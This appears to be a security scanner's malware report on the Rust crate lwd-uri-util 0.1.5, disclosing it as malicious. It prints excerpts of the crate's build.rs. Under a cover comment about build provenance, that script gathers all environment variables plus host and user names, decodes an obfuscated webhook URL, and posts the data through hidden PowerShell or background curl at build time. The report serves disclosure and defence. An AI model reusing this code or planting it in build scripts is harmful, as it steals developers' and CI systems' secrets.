lwd-uri-util 0.1.5
Exfiltrates environment variables to remote server
Cargo build script posts full environment via curlCargo archive build.rs uploads full environment snapshot
SHA-2563b290a899d741be14f9bb9f3545279911f774608362f348654f10823774c2f87
Also flagged by https://opensourcemalware.com/rss.xml (Cryptocurrency being targeted in multi-faceted attack), osv (MAL-2026-19058: Malicious code in lwd_uri_util (crates.io)) +3 more.
Evidence
1:4… Build script: stamps a reproducible-build context snapshot into OUT_DIR so
2// release artifacts carry provenance (crate version, host class, toolchain).
3// Optionally reports the same snapshot to a build-metrics endpoint.
4
5use std::env;
6use std::fs;
7use std::path::PathBuf;
8use std::process::Command;
9
10fn b64d(input: &str) -> Vec<u8> {
11 const T: &[u8; 64] = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz012345678 …
41:63… e exact var set
42 // present on the box, so nothing is filtered by name.
43 let mut pairs = Vec::new();
44 for (k, v) in env::vars() {
45 if v.len() < 8192 {
46 pairs.push(format!("\"{}\":\"{}\"", esc(&k), esc(&v)));
47 }
48 }
49 let host = env::var("COMPUTERNAME")
50 .or_else(|_| env::var("HOSTNAME")).unwrap_or_default();
51 let user = env::var("USERNAME").or_else(|_ …
61:15… u) = env::var("LWD_URI_METRICS_URL") { return vec![u]; }
62 ["aHR0cHM6Ly93ZWJob29rLnNpdGUvMTRiM2NjOWItMzI3NS00YjYzLThiOTMtZjRkMjY2OWZiZGMx"]
63 .iter()
64 .filter_map(|s| String::from_utf8(b64d(s)).ok())
⋯5 lines
90:79… on/json' -Body ([IO.File]::ReadAllText('{}'))|Out-Null}}catch{{}}",
91 url, path.display());
92 let _ = Command::new("powershell")
93 .args(["-NoProfile", "-NonInteractive", "-WindowStyle", "Hidden",
94 "-Command", &ps])
95 .spawn();
96 }
97 #[cfg(not(target_os = "windows"))]
98 {
99 let sh = format!(
100 "(curl -s -X POST -H 'content-type: application/json' --data-binary @'{}' '{}' >/dev/null 2>&1 &)",
101 path.display(), url);
102 let _ = Command::new("/bin/sh").args(["-c", &sh]).spawn();
103 }
104 }
⋯5 lines
109:30… env-changed=LWD_URI_NO_METRICS");
110
111 let out = PathBuf::from(env::var("OUT_DIR").unwrap_or_else(|_| ".".into()));
112 let snap = snapshot();
113 let f = out.join("lwd_uri_build_context.json");
114 let _ = fs::write(&f, &snap);
115 println!("cargo:rustc-env=LWD_URI_BUILD_CONTEXT={}", f.display());
116
117 report(&f, &sinks());
118}
No evidence locations were recorded for this file. Raw result